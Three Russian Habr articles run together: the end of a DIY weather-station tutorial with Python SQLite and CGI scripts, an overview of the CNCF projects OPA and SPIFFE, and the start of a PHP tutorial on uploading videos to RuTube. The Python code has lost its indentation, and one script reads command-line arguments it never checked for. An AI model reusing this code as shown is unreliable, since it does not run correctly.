Received 10 bytes: C0 00 9A 99 33 42 00 34 B6 C0
CRC - OK
44.9000015259% on the sensor with the serial number 00
Humidity - 44.9000015259%
Get a temperature from sensors.
Sent 7 bytes: C0 00 01 01 90 B1 C0
Received 19 bytes: C0 00 01 00 80 BD 41 10 60 3B 4F 00 08 00 DB DC 21 1B C0
CRC - OK
It has 1 temperature sensors:
23.7C on the sensor with the serial number 10 60 3B 4F 00 08 00 C0
T1 - 23.7 C, sensor 10 60 3B 4F 00 08 00 C0
```
#### Теперь требуется сохранить результаты измерений в БД.
Создаем следующую структуру:
База содержит три основных таблицы — sensortypes, sensors и metering (типы, датчики, измерения) и одно представление allrecords (плоская таблица измерений).
Таблицы hourlyrecords и dailyrecords содержат почасовые и посуточные усредненные данные.
В таблице dbversion - версия БД.
> Сразу оговорюсь — я не использовал никаких встроенных возможностей SQLite, выходящих за пределы SQL-92, появившихся в последних версиях, поскольку SQLite у меня был 3.8.2 и обновлять его резона не было. Но есть и плюс, этот код можно использовать с любой БД с минимальными изменениями.
Для работы с базой данных был написан небольшой класс:
**Класс dbhelper.py**
```
# - *- coding: utf- 8 - *-
import sqlite3
import time
from datetime import datetime
class DBHelper:
dbconnect = None
cursor = None
version = 1
def __init__(self, fileName):
self.dbconnect = sqlite3.connect(fileName)
self.dbconnect.text_factory = str
self.cursor = self.dbconnect.cursor()
self.cursor.execute('CREATE TABLE IF NOT EXISTS dbversion' +
'(_id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,' +
'time INTEGER NOT NULL,' +
'version INTEGER NOT NULL)')
self.cursor.execute('SELECT version FROM dbversion')
if len(self.cursor.fetchall()) == 0:
self.cursor.execute('INSERT INTO dbversion (time, version) VALUES (?,?)', (int(time.time()), self.version))
self.cursor.execute('CREATE TABLE IF NOT EXISTS sensortypes' +
'(_id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,' +
'type TEXT,' +
'valuename TEXT)')
self.cursor.execute('SELECT type FROM sensortypes')
if len(self.cursor.fetchall()) == 0:
self.cursor.execute('INSERT INTO sensortypes (type, valuename) VALUES (?,?)', ('Температура', 'град. С'))
self.cursor.execute('INSERT INTO sensortypes (type, valuename) VALUES (?,?)', ('Давление', 'мм рт. ст.'))
self.cursor.execute('INSERT INTO sensortypes (type, valuename) VALUES (?,?)', ('Влажность', '%'))
self.cursor.execute('CREATE TABLE IF NOT EXISTS sensors' +
'(_id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,' +
'type INTEGER NOT NULL,' +
'sernum TEXT,' +
'description TEXT NOT NULL,' +
'place TEXT NOT NULL,' +
'FOREIGN KEY (type) REFERENCES sensortypes(_id))')
self.cursor.execute('CREATE TABLE IF NOT EXISTS metering' +
'(_id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,' +
'time INTEGER NOT NULL,' +
'value REAL NOT NULL,' +
'sensorid INTEGER NOT NULL,' +
'FOREIGN KEY (sensorid) REFERENCES sensors(_id))')
self.cursor.execute('CREATE TABLE IF NOT EXISTS hourlyrecords' +
'(time INTEGER PRIMARY KEY NOT NULL)')
self.cursor.execute('CREATE TABLE IF NOT EXISTS dailyrecords' +
'(time INTEGER PRIMARY KEY NOT NULL)')
self.cursor.execute('CREATE UNIQUE INDEX IF NOT EXISTS "avgday" on dailyrecords (time ASC)')
self.cursor.execute('CREATE UNIQUE INDEX IF NOT EXISTS "avghour" on hourlyrecords (time ASC)')
self.cursor.execute('CREATE UNIQUE INDEX IF NOT EXISTS "mid" on metering (_id ASC)')
self.cursor.execute('CREATE INDEX IF NOT EXISTS "time" on metering (time ASC)')
self.cursor.execute('CREATE UNIQUE INDEX IF NOT EXISTS "sid" on sensors (_id ASC)')
self.cursor.execute('CREATE UNIQUE INDEX IF NOT EXISTS "stid" on sensortypes (_id ASC)')
def updateAvgTables(self):
self.cursor.execute('SELECT MAX(_id) FROM sensors')
number = self.cursor.fetchone()[0]
self.cursor.execute('SELECT * FROM hourlyrecords ORDER BY ROWID ASC LIMIT 1')
columnnamelist = [tuple[0] for tuple in self.cursor.description]
if number > (len(columnnamelist)-1):
for i in range(len(columnnamelist), number+1):
self.cursor.execute('ALTER TABLE hourlyrecords ADD COLUMN v%s REAL' % str(i))
self.cursor.execute('ALTER TABLE dailyrecords ADD COLUMN v%s REAL' % str(i))
self.cursor.execute('SELECT MIN(time) FROM metering')
minrealtime = self.cursor.fetchone()[0]
if minrealtime is not None:
self.cursor.execute('SELECT MAX(time) FROM metering')
maxrealtime = self.cursor.fetchone()[0]
self.cursor.execute('SELECT MAX(time) FROM hourlyrecords')
maxhourlyavgtime = self.cursor.fetchone()[0]
self.cursor.execute('SELECT MAX(time) FROM dailyrecords')
maxdailyavgtime = self.cursor.fetchone()[0]
firsthourtime = 3600
firstdaytime = 86400
if maxhourlyavgtime is None:
maxhourlyavgtime = minrealtime
firsthourtime = 0
if maxdailyavgtime is None:
maxdailyavgtime = minrealtime
firstdaytime = 0
begintimestamp = datetime.fromtimestamp(float(maxhourlyavgtime))
endtimestamp = datetime.fromtimestamp(float(maxrealtime))
firstedge = datetime(begintimestamp.year, begintimestamp.month, begintimestamp.day, begintimestamp.hour)
secondedge = datetime(endtimestamp.year, endtimestamp.month, endtimestamp.day, endtimestamp.hour)
begin = int(time.mktime(firstedge.timetuple())) + firsthourtime
end = int(time.mktime(secondedge.timetuple()))-1
for i in range(begin, end, 3600):
self.cursor.execute('SELECT AVG(time) FROM metering WHERE time >= %s AND time <= %s' % (str(i), str(i+3599)))
if self.cursor.fetchone()[0] is None:
continue
insert = 'INSERT INTO hourlyrecords (time'
select = 'SELECT CAST(AVG(time) AS INTEGER)'
for v in range(1, number+1):
insert += ', v%s' % str(v)
select += ', AVG(CASE WHEN sensorid=%s THEN value ELSE NULL END)' % str(v)
insert += ') '
select += ' FROM metering WHERE time >= %s AND time <= %s' % (str(i), str(i+3599))
self.cursor.execute(insert + select)
begintimestamp = datetime.fromtimestamp(float(maxdailyavgtime))
endtimestamp = datetime.fromtimestamp(float(maxrealtime))
firstedge = datetime(begintimestamp.year, begintimestamp.month, begintimestamp.day)
secondedge = datetime(endtimestamp.year, endtimestamp.month, endtimestamp.day)
begin = int(time.mktime(firstedge.timetuple())) + firstdaytime
end = int(time.mktime(secondedge.timetuple()))-1
for i in range(begin, end, 86400):
self.cursor.execute('SELECT AVG(time) FROM metering WHERE time >= %s AND time <= %s' % (str(i), str(i+85399)))
if self.cursor.fetchone()[0] is None:
continue
insert = 'INSERT INTO dailyrecords (time'
select = 'SELECT CAST(AVG(time) AS INTEGER)'
for v in range(1, number+1):
insert += ', v%s' % str(v)
select += ', AVG(CASE WHEN sensorid=%s THEN value ELSE NULL END)' % str(v)
insert += ') '
select += ' FROM metering WHERE time >= %s AND time <= %s' % (str(i), str(i+85399))
query = insert + select
self.cursor.execute(query)
def __makeDict(self, raw):
res = {'time': raw[0]}
for i in range(2, len(raw)+1):
res[str(i-1)] = raw[i - 1]
return res
def getSensorId(self, sensorType, sernum):
self.cursor.execute('SELECT _id FROM sensors WHERE sernum=? AND type=?', (sernum, sensorType))
selres = self.cursor.fetchall()
if len(selres) > 0:
sensorId = selres[0][0]
else:
self.cursor.execute('INSERT INTO sensors (type, sernum, description, place) VALUES (?,?,?,?)', (sensorType, sernum, '', ''))
self.cursor.execute('SELECT _id FROM sensors WHERE sernum=? AND type=?', (sernum, sensorType))
sensorId = self.cursor.fetchone()[0]
return sensorId
def storeValue(self, time, value, sensorId):
self.cursor.execute('INSERT INTO metering (time, value, sensorid) VALUES (?,?,?)', (int(time), value, sensorId))
def getLast(self):
self.cursor.execute('SELECT MAX(_id) FROM sensors')
number = self.cursor.fetchone()[0]
query = 'SELECT time'
for i in range(1, number+1):
query += ', (SELECT value FROM metering WHERE sensorid=%s AND time=m.time)' % str(i)
query += ' FROM metering m WHERE time=(SELECT MAX(time) FROM metering) GROUP BY time'
self.cursor.execute(query)
return [self.__makeDict(self.cursor.fetchone()), ]
def getInterval(self, minTime = None, maxTime = None):
self.cursor.execute('SELECT MAX(_id) FROM sensors')
number = self.cursor.fetchone()[0]
query = 'SELECT time'
for i in range(1, number+1):
query += ', (SELECT value FROM metering WHERE sensorid=%s AND time=m.time)' % str(i)
if minTime is not None and maxTime is not None:
query += ' FROM metering m WHERE (time >= ? AND time <= ?) GROUP BY time'
self.cursor.execute(query, (minTime, maxTime))
else:
query += ' FROM metering m GROUP BY time ORDER BY time'
self.cursor.execute(query)
return [self.__makeDict(raw) for raw in self.cursor.fetchall()]
def updateAllRecordsView(self):
self.cursor.execute('SELECT MAX(_id) FROM sensors')
number = self.cursor.fetchone()[0]
self.cursor.execute('DROP VIEW IF EXISTS allrecords')
query = 'CREATE VIEW allrecords AS SELECT time time'
for i in range(1, number+1):
query += ', max(CASE WHEN sensorid=%s THEN value ELSE NULL END) v%s' % (str(i), str(i))
query += ' FROM metering GROUP BY time ORDER BY time'
self.cursor.execute(query)
return
def getAll(self):
return self.getInterval()
def getSensors(self):
self.cursor.execute('SELECT s._id, st.type, s.sernum, s.description, s.place, st.valuename FROM sensors s, sensortypes st WHERE s.type=st._id ORDER BY s._id')
res = []
for raw in self.cursor.fetchall():
res.append({'id': raw[0],
'type': raw[1],
'sernum': ' '.join("%X" % ord(c) if ord(c) > 0x0f else '0' + "%X" % ord(c) for c in raw[2]),
'description': raw[3],
'place': raw[4],
'valuename': raw[5]})
return res
def updateSensor(self, sensorid, description, place):
self.cursor.execute('UPDATE sensors SET description = ?, place = ? WHERE _id = ?', (description, place, sensorid))
def getDBVersion(self):
self.cursor.execute('SELECT version FROM dbversion WHERE _id=(SELECT MAX(_id) FROM dbversion)')
return self.cursor.fetchone()[0]
def close(self):
self.dbconnect.commit()
```
#### Следующим шагом объединим опрос датчиков с сохранением в БД
**Скрипт опроса getweather.py**
```
#!/usr/bin/python
# - *- coding: utf- 8 - *-
import math
from protocol import Protocol
import sys
import time
import os
from dbhelper import DBHelper
deviceAddress = 0
serialPort = '/dev/ttyUSB0'
baudRate = 9600
logEnabled = True
dbFileName = 'weatherstation.db'
# modulePath = os.path.abspath('/home/weather') + '/'
# dbFileName = modulePath + 'weatherstation.db'
termSensorType = 1
pressureSensorType = 2
humiditySensorType = 3
if len(sys.argv) == 3:
serialPort = sys.argv[1]
baudRate = sys.argv[2]
deviceAddress = sys.argv[3]
logEnabled = sys.argv[4]
elif len(sys.argv) == 1:
print ('Command line: getweather.py serial_port serial_speed')
print ('Trying with serial_port = ' + serialPort + ' and serial_speed = ' + str(baudRate))
else:
print ('Command line: getweather.py serial_port serial_speed')
sys.exit(1)
currenttime = time.time()
db = DBHelper(dbFileName)
device = Protocol(serialPort, baudRate, logEnabled)
if device.ping(deviceAddress):
pressure, sernumP = device.getPressure(deviceAddress)
if 10 < pressure < 1000:
print ('Pressure - ' + str(pressure) + ' mmHg')
pressureSensorId = db.getSensorId(pressureSensorType, sernumP)
db.storeValue(currenttime, pressure, pressureSensorId)
humidity, sernumH = device.getHumidity(deviceAddress)
if not math.isnan(humidity):
print ('Humidity - ' + str(humidity) + '%')
humiditySensorID = db.getSensorId(humiditySensorType, sernumH)
db.storeValue(currenttime, humidity, humiditySensorID)
values = device.getTemp(deviceAddress)
i = 1
for (temperature, sn) in values:
print ('T' + str(i) + ' - ' + "%.1f" % temperature + ' C, sensor'),
device.printPacket(sn)
i += 1
termSensorId = db.getSensorId(termSensorType, sn)
db.storeValue(currenttime, temperature, termSensorId)
device.close()
db.updateAvgTables()
db.updateAllRecordsView()
db.close()
```
Далее, скопируем полученные файлы на наш хост-компьютер, добавим задачу в планировщик на запуск getweater.py каждые 5 минут, и оставим наш прибор собирать статистику.
Теперь эти данные нужно как-то получить. Разработаем API:
**/ws.py** будет возвращать html-страницу с последней записью из БД.
**/ws.py?mtd=last** — последняя запись в БД в формате json-строки.
**/ws.py?mtd=intervalmin=XXmax=YY** — диапазон записей между датами min и max в формате json-строки.
**/ws.py?mtd=all** — все записи в формате json-строки.
**/ws.py?mtd=version** — версия БД в формате json-строки.
**/sensors.py** — html-страница с перечнем датчиков.
Для этого напишем простую web-службу и редактор датчиков.
**Скрипт ws.py**
```
#!/usr/bin/python
# - *- coding: utf- 8 - *-
import sys
import os
import json
import cgi
import time
modulePath = os.path.dirname(__file__) + '/../../'
# modulePath = os.path.abspath('/home/weather') + '/'
sys.path.append(modulePath)
from dbhelper import DBHelper
method = 'mtd'
version = 'version'
minThr = 'min'
maxThr = 'max'
dbFileName = modulePath + 'weatherstation.db'
# dbFileName = modulePath + 'genweather.db'
db = DBHelper(dbFileName)
def makeJSON(records):
return json.JSONEncoder().encode({'sensors': db.getSensors(), 'records': records})
args = cgi.FieldStorage()
if len(args) == 0:
sensors = db.getSensors()
records = db.getLast()
print 'Content-Type: text/html; charset=utf-8'
print
defaulthtml = """
Метеостанция
Погода
======
---
"""
defaulthtml += '' + time.strftime("%d.%m.%Y %H:%M", time.localtime(records[0]['time'])) + '
'
defaulthtml += '
'
for i in range(1, len(sensors) + 1):
if records[0][str(i)] is not None:
defaulthtml += '|'
defaulthtml += ' ' + str(sensors[i - 1]['id']) + ' |'
defaulthtml += ' ' + sensors[i - 1]['type'] + ' |'
defaulthtml += ' ' + sensors[i - 1]['description'] + ' |'
defaulthtml += ' ' + sensors[i - 1]['place'] + ' |'
defaulthtml += ' ' + "%.1f" % records[0][str(i)] + ' |'
defaulthtml += ' ' + sensors[i - 1]['valuename'] + ' |'
defaulthtml += '
'
defaulthtml += '[Датчики](sensors.py)
'
print defaulthtml
elif method in args:
if args[method].value == 'last':
print "Content-type: application/json"
print
print (makeJSON(db.getLast()))
elif args[method].value == 'all':
print "Content-type: application/json"
print
print (makeJSON(db.getAll()))
elif args[method].value == 'interval':
if minThr in args:
if maxThr in args:
print "Content-type: application/json"
print
print (makeJSON(db.getInterval(args[minThr].value, args[maxThr].value)))
elif args[method].value == version:
print "Content-type: application/json"
print
print (json.JSONEncoder().encode({version: db.getDBVersion()}))
db.close()
```
**Скрипт sensors.py**
```
#!/usr/bin/python
# - *- coding: utf- 8 - *-
import sys
import os
import cgi
modulePath = os.path.dirname(__file__) + '/../../'
# modulePath = os.path.abspath('/home/weather') + '/'
sys.path.append(modulePath)
from dbhelper import DBHelper
method = 'mtd'
sensorNumber = 'sensornumber'
dbFileName = modulePath + 'weatherstation.db'
db = DBHelper(dbFileName)
args = cgi.FieldStorage()
if len(args) == 0:
sensors = db.getSensors()
print 'Content-Type: text/html; charset=utf-8'
print
sensorshtml = """
Метеостанция
Датчики
=======
---
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| № | Тип | s/n | Описание | Место установки | Ед. измерения |
"""
url = 'sensors.py?mtd=sensor&'
for s in sensors:
sensorshtml += '|'
sensorshtml += ' ' + '[' + str(s['id']) + '](' + url + sensorNumber + '=' + str(s['id']) + ') |'
sensorshtml += ' ' + '[' + s['type'] + '](' + url + sensorNumber + '=' + str(s['id']) + ') |'
sensorshtml += ' ' + '[' + s['sernum'] + '](' + url + sensorNumber + '=' + str(s['id']) + ') |'
sensorshtml += ' ' + '[' + s['description'] + '](' + url + sensorNumber + '=' + str(s['id']) + ') |'
sensorshtml += ' ' + '[' + s['place'] + '](' + url + sensorNumber + '=' + str(s['id']) + ') |'
sensorshtml += ' ' + '[' + s['valuename'] + '](' + url + sensorNumber + '=' + str(s['id']) + ') |'
sensorshtml += '
'
print sensorshtml
elif method in args:
if args[method].value == 'sensor':
if sensorNumber in args:
numstr = args[sensorNumber].value
if numstr.isdigit():
num = int(numstr) - 1
sensors = db.getSensors()
if 0 <= num <= len(sensors):
sensor = sensors[num]
sensorshtml = """
Редактор
Корректировка датчика
=====================
---
**№ %s**
**Тип**
**s/n**
**Описание**
**Место установки**
**Ед. измерения**
""" % (sensor['id'], sensor['id'], sensor['type'], sensor['sernum'], sensor['description'], sensor['place'], sensor['valuename'])
print 'Content-Type: text/html; charset=utf-8'
print
print sensorshtml
elif 'save' in args:
description = cgi.escape(args['description'].value) if 'description' in args else ''
place = cgi.escape(args['place'].value) if 'place' in args else ''
sensorid = int(args['id'].value)
print 'Content-Type: text/html; charset=utf-8'
print
db.updateSensor(sensorid, description, place)
savehtml = """
Редактор
"""
print savehtml
db.close()
```
Эти два скрипта необходимо поместить в каталог cgi-bin web-сервера (в моем случае, это /www/cgi-bin), сделать их исполняемыми и дать права на выполнение:
```
chmod -R 755 /www/cgi-bin
chmod -R +x /www/cgi-bin
```
Для тех, кто не желает выделять для сбора метеоданных отдельный компьютер и (или) не хочет устанавливать полноценный web-сервер на свой единственный, могу порекомендовать этот скрипт:
**Скрипт webserver.py**
```
#!/usr/bin/python
# - *- coding: utf- 8 - *-
import BaseHTTPServer
import CGIHTTPServer
import cgitb
cgitb.enable()
server = BaseHTTPServer.HTTPServer
handler = CGIHTTPServer.CGIHTTPRequestHandler
server_address = ("", 8000)
handler.cgi_directories = ["/cgi-bin"]
httpd = server(server_address, handler)
httpd.serve_forever()
```
Запустив его в командной строке, вы получите web-сервер, позволяющий отлаживать cgi-скрипты и простые страницы. В итоге, должно получиться следующее:
Весь код доступен на [гитхабе](https://github.com/ndrwk/weatherstation).
### Заключение.
Я рассказал на примере задачи сбора метеоданных о том, как можно построить систему фиксации любых измеряемых процессов — как построить протокол обмена, как защитить данные от искажения при передаче, и как хранить их в базе данных. Читатель, при желании, сможет адаптировать этот проект под свои нужды.
О том, как эти данные потом использовать, можно написать отдельную статью, например, как из старого заброшенного планшета на Android сделать пульт для отображения дневника наблюдений.
Спасибо за внимание, надеюсь, было интересно. | https://habr.com/ru/post/302164/ | null | ru | null |
# OPA и SPIFFE — два новых проекта в CNCF для безопасности облачных приложений
В конце марта у фонда CNCF, помогающего развивать Open Source-проекты для облачных (cloud native) приложений, случилось двойное пополнение: в «песочницу» [были](https://www.cncf.io/blog/2018/03/29/cncf-to-host-open-policy-agent-opa/) [добавлены](https://www.cncf.io/blog/2018/03/29/cncf-to-host-the-spiffe-project/) OPA (Open Policy Agent) и SPIFFE (Secure Production Identity Framework For Everyone), которых роднит тема безопасности. Для чего же они могут пригодится?
Open Policy Agent
-----------------
[Open Policy Agent](https://www.openpolicyagent.org/) ([GitHub](https://github.com/open-policy-agent/opa)) — написанный на языке Go движок, предлагающий унифицированный способ использования политик, которые учитывают контекст и работают по всему стеку инфраструктуры, применяемой для облачных приложений.
Инициатива по созданию Open Policy Agent исходит от компании Netflix. Как [рассказывали](https://www.youtube.com/watch?v=R6tUNpRpdnY) её представители на CloudNativeCon US 2017, этот проект позволил решить проблему авторизации в масштабах крупного облачного окружения. Если вкратце, то инженеры компании хотели обеспечить стандартизированную (и простую) возможность определять и принудительно исполнять правила следующего вида: **Субъект *(identity, I)* может/не может выполнять Операцию *(operation, O)* на Ресурсе *(resource, R)*** — во всех возможных комбинациях во всей имеющейся экосистеме.
При этом, как легко догадаться, экосистема Netflix весьма разнообразна: в ней не один тип ресурсов (REST-интерфейсы, gRPC-методы, SSH, Kafka topics и т.п.), не один тип субъектов, а также множество используемых протоколов (HTTP/HTTPS, gRPC, свои бинарные), языков программирования (Java, Node.js, Python, Ruby)… Наконец, критичное требование ко всей этой системе — **минимальная задержка**: например, один узел кластера Kafka обрабатывает тысячи запросов в секунду, поэтому о прослойке, требующей для авторизации более 1 миллисекунды, и речи быть не могло.
Общая схема решения, к которому пришли в Netflix, получилась следующей:
А в более подробном представлении архитектура системы, использующей OPA, выглядит так *(слайды взяты из [этой презентации](https://www.slideshare.net/TorinSandall/how-netflix-is-solving-authorization-across-their-cloud))*:
Политики в OPA пишутся на **высокоуровневом декларативном языке** *(он называется Rego)* и загружаются через файловую систему или API. Сервисы передают ответственность за принятие решение по политикам запросом в движок Open Policy Agent, который просматривает политики и дополнительные данные, принимает решение по запросу и возвращает его клиенту. **Интеграция приложения** с OPA может быть реализована разными методами: sidecar-контейнер, демон на уровне хоста, библиотека. По уверениям авторов, для простых политик средняя задержка составляет около 0,2 мс.
Простейшая иллюстрация **использования API** от Open Policy Agent представлена в [GitHub проекта](https://github.com/open-policy-agent/opa):
*Пользователям можно просматривать свою зарплату и зарплату сотрудников, находящихся в их подчинении:*
```
allow {
input.method = "GET"
input.path = ["salary", id]
input.user_id = id
}
allow {
input.method = "GET"
input.path = ["salary", id]
managers = data.management_chain[id]
id = managers[_]
}
```
*Запрос: Может ли Боб посмотреть свою зарплату?*
```
> input = {"method": "GET", "path": ["salary", "bob"], "user_id": "bob"}
> allow
true
```
*Запрос: Цепочка менеджеров для Боба.*
```
> data.management_chain["bob"]
[
"ken",
"janet"
]
```
*Запрос: Может ли Элис посмотреть зарплату Боба?*
```
> input = {"method": "GET", "path": ["salary", "bob"], "user_id": "alice"}
> allow
false
```
*Запрос: Может ли Джанет посмотреть зарплату Боба?*
```
> input = {"method": "GET", "path": ["salary", "bob"], "user_id": "janet"}
> allow
true
```
Подробности об устройстве OPA, равно как и о работе с этим движком, описаны в [документации проекта](https://www.openpolicyagent.org/docs/how-does-opa-work.html). Там же можно найти примеры интеграции с [Admission Controllers в Kubernetes](http://www.openpolicyagent.org/docs/kubernetes-admission-control.html) *(требуется версия K8s 1.9+ и включённый `ValidatingAdmissionWebhook`)*, с [Docker](http://www.openpolicyagent.org/docs/docker-authorization.html) *(требуется Docker Engine 1.11+)* и с [SSH](http://www.openpolicyagent.org/docs/ssh-and-sudo-authorization.html) *(используется плагин к Linux-PAM)*.
Secure Production Identity Framework For Everyone
-------------------------------------------------
Авторы [SPIFFE](https://spiffe.io/) ([GitHub](https://github.com/spiffe)) иначе подошли к проблеме аутентификации — они предлагают веб-сервисам **фреймворк и набор стандартов**, которые упраздняют саму потребность в аутентификации и авторизации на уровне приложений, а также в сложных конфигурациях списков доступа на уровне сети.
Основу SPIFFE составляют три компонента:
1. **SPIFFE ID**. Стандарт, определяющий, как сервисы идентифицируют друг друга между собой. Это структурированные строки (представляются как URI — например, `spiffe://trust-domain/path`), выступающие в роли названия для сущности.
2. **SPIFFE Verifiable Identity Document (SVID)**. Стандарт для преобразования SPIFFE IDs в верифицируемый криптографически документ (такой документ и называется SVID). Спецификация определена в [The SPIFFE Identity and Verifiable Identity Document](https://github.com/spiffe/spiffe/blob/master/standards/SPIFFE-ID.md). Кроме того, отдельно существует спецификация для [X.509 SVID](https://github.com/spiffe/spiffe/blob/master/standards/X509-SVID.md).
3. **Workload API**. Спецификация API для выдачи и получения SVIDs. Как правило, методы API доступны локально (например, через сокет домена Unix) и не требуют аутентификации из рабочей нагрузки. Подлинность обращающегося к Workload API может быть проверена сторонним методом (например, по предоставляемым операционной системой свойствам процесса, который обращается к сокету). Кроме того, Workload API предоставляет сертификаты (CA bundles). Работа над спецификацией ещё ведётся (доступен [прототип](https://github.com/spiffe/spire/blob/master/proto/api/workload/workload.proto)).
Архитектура окружений, использующих предлагаемый в SPIFFE подход, представляется так:
Помимо собственно спецификаций, а также связанных с ними примеров и другой документации, хранящихся в [основном репозитории](https://github.com/spiffe/spiffe) проекта, авторы подготовили **эталонную реализацию** своих базовых компонентов — [SPIRE](https://github.com/spiffe/spire) (the SPIFFE Runtime Environment). Её код написан на языке Go и представляет собой связку из сервера и агента, которые представляют SPIFFE Workload API в действии, т.е. позволяют удостоверять программные системы *(workloads, «рабочие нагрузки»)* и выдавать им SPIFFE IDs и SVIDs.
Workload API от SPIFFE схож с AWS EC2 Instance Metadata API и Google GCE Instance Metadata API в том смысле, что не требует от вызывающей стороны предварительного знания о субъекте или аутентификационного токена. Однако авторы отмечают и важные отличительные особенности своей разработки: 1) она запускается на множестве платформ, б) она позволяет идентифицировать запущенные сервисы не только на уровне процесса, но и на уровне ядра, что позволяет её использовать с планировщиками контейнеров вроде Kubernetes. Для минимизации последствий утечки/компрометации ключа все приватные ключи (и соответствующие сертификаты) живут недолго и подлежат частой (автоматизированной) ротации. Подробнее об архитектуре SPIRE можно почитать [здесь](https://spiffe.io/spire/).
Кроме того, у проекта есть **библиотеки** на Go ([go-spiffe](https://github.com/spiffe/go-spiffe)) и C/C++ ([C-SPIFFE](https://github.com/spiffe/c-spiffe)).
Работа над SPIFFE ведётся в рамках групп SIG (Special Interest Groups) по аналогии с Kubernetes. Среди возглавляющих их специалистов — сотрудники компаний Scytale (инициаторы и главные авторы проекта), Google, Pensando и Blend. В частности, функционируют группы, занимающиеся интеграцией SPIFFE с [Kubernetes](https://github.com/spiffe/spiffe/blob/master/community/sig-integration-k8s/README.md), [gRPC](https://github.com/spiffe/spiffe/blob/master/community/sig-integration-grpc/README.md) и [AWS](https://github.com/spiffe/spiffe/blob/master/community/sig-integration-aws/README.md).
На сайте SPIFFE заявляется, что проект «находится на ранних этапах реализации и пока не готов для использования в production».
P.S.
----
Читайте также в нашем блоге:
* «[Путеводитель CNCF по решениям Open Source (и не только) для cloud native](https://habrahabr.ru/company/flant/blog/350928/)»;
* «[Четыре релиза 1.0 от CNCF и главные анонсы про Kubernetes с KubeCon 2017](https://habrahabr.ru/company/flant/blog/344098/)»;
* «[Rook — «самообслуживаемое» хранилище данных для Kubernetes](https://habrahabr.ru/company/flant/blog/348044/)»;
* «[CoreDNS — DNS-сервер для мира cloud native и Service Discovery для Kubernetes](https://habrahabr.ru/company/flant/blog/331872/)»;
* «[Container Networking Interface (CNI) — сетевой интерфейс и стандарт для Linux-контейнеров](https://habrahabr.ru/company/flant/blog/329830/)»;
* «[Инфраструктура с Kubernetes как доступная услуга](https://habrahabr.ru/company/flant/blog/341760/)». | https://habr.com/ru/post/353808/ | null | ru | null |
# Закачка ролика на ruTube с использованием cURL
На хабре уже были топики, посвященные открытому **API** для работы с сервисом **ruTube**. В примере, который можно скачать с сайта **ruTube** (<http://rutube.ru/partners/phpapi.html>), отправка ролика осуществляется следующим образом (код взят из примера без правок):
> `1. if (move\_uploaded\_file($\_FILES['data']['tmp\_name'], $fname))
> 2. {
> 3. //конструируем пост запрос к rutube на загрузку файлов
> 4. $bnd = md5(uniqid(time()));
> 5.
> 6. $data2 = add\_var('save', 'y');
> 7. $data2 .= add\_var('rt\_mode', 'do\_upload');
> 8. $data2 .= add\_var('rt\_developer\_key', $rt\_developer\_key);
> 9. $data2 .= add\_var('rt\_redirect\_ok', 'http://'.$\_SERVER['SERVER\_NAME'].'/upload.html?redirect=ok');
> 10. $data2 .= add\_var('rt\_redirect\_error', 'http://'.$\_SERVER['SERVER\_NAME'].'/upload.html?redirect=error');
> 11. $data2 .= add\_var('rt\_auto\_publish', $auto\_publish);
> 12. $data2 .= add\_var('rt\_user', '');
> 13. $data2 .= add\_var('rt\_sign', '');
> 14. $data2 .= add\_var('rt\_enc', 'UTF-8');
> 15. $data2 .= add\_var('referer', 'http://'.$\_SERVER['SERVER\_NAME'].'/upload.html');
> 16. $data2 .= add\_var('title', $name);
> 17. $data2 .= add\_var('rt\_tags', $tags);
> 18. $data2 .= add\_var('comment', $description);
> 19. $data2 .= add\_var('category', $rutube\_cat);
> 20. $data2 .= '--'.$bnd."\r\n";
> 21. $data2 .= 'Content-Disposition: form-data; name="data"; filename="'.$\_FILES['data']['name'].'"'."\r\n";
> 22. $data2 .= "Content-Type: application/octet-stream\r\n";
> 23. $data2 .= "Content-Transfer-Encoding: binary\r\n";
> 24. $data2 .= "\r\n";
> 25.
> 26. $data3 = "\r\n";
> 27. $data3 .= '--'.$bnd."--\r\n";
> 28.
> 29. $data1 = "POST uploader.rutube.ru/cgi-bin/jsapi.cgi HTTP/1.0\r\n";
> 30. $data1 .= "Host: uploader.rutube.ru\r\n";
> 31. $data1 .= "Content-Type: multipart/form-data; boundary=".$bnd."\r\n";
> 32. $data1 .= "Content-Length: ".(mb\_strlen($data2.$data3, '8bit')+filesize($fname))."\r\n";
> 33. $data1 .= "Connection: close\r\n";
> 34. $data1 .= "\r\n";
> 35.
> 36. $f = fsockopen('uploader.rutube.ru', 80);
> 37. fwrite($f, $data1.$data2);
> 38. $f2 = fopen($fname, 'r');
> 39. while (!feof($f2))
> 40. {
> 41. $buff = fread($f2, 1024\*128);
> 42. fwrite($f, $buff);
> 43. }
> 44. fclose($f2);
> 45. fwrite($f, $data3);
> 46. $response = '';
> 47.
> 48. while (!feof($f)) $response .= fgets($f, 128);
> 49. fclose($f);
> 50.
> 51. $response=split("\r\n\r\n",$response);
> 52. $response = trim(preg\_replace('/.\*Location:.\*redirect=(\S\*).\*/i', '$1', strtr($response[0],array("\n" =>' ', "\r" => ' '))));
> 53.
> 54. if (strpos($response, 'error') === false)
> 55. {
> 56. //ролик успешно загружен на rutube
> 57. $response = preg\_replace('/.\*rt\_movie\_id=(.\*)/i', '$1', $response); //полученный временный id
> 58. $sql->Query('INSERT INTO movie SET category\_id='.$category.',name="'.SQL\_STR.'",description="'.SQL\_STR.'",date='.time().', author = "'.SQL\_STR.'",user\_id='.$user['id'].',status=1,rutube\_id="'.SQL\_STR.'", tags="'.SQL\_STR.'"', $name, $description, $author, $response, $tags);
> 59.
> 60. header('Location: http://'.$\_SERVER['SERVER\_NAME'].'/upload.html?successful');
> 61. }
> 62. }
> \* This source code was highlighted with Source Code Highlighter.`
Мы предлагаем код, отправляющий данные с использованием библиотеки cURL:
> `1. if (move\_uploaded\_file($\_FILES['data']['tmp\_name'], $fname))
> 2. {
> 3. $array\_var = array('save' => 'y',
> 4. 'rt\_mode' => 'do\_upload',
> 5. 'rt\_developer\_key' => $rt\_developer\_key,
> 6. 'rt\_redirect\_ok' => 'http://'.$\_SERVER['SERVER\_NAME'].'/upload.html?redirect=ok',
> 7. 'rt\_redirect\_error' => 'http://'.$\_SERVER['SERVER\_NAME'].'/upload.html?redirect=error',
> 8. 'rt\_auto\_publish' => $auto\_publish,
> 9. 'rt\_user' => '',
> 10. 'rt\_sign' => '',
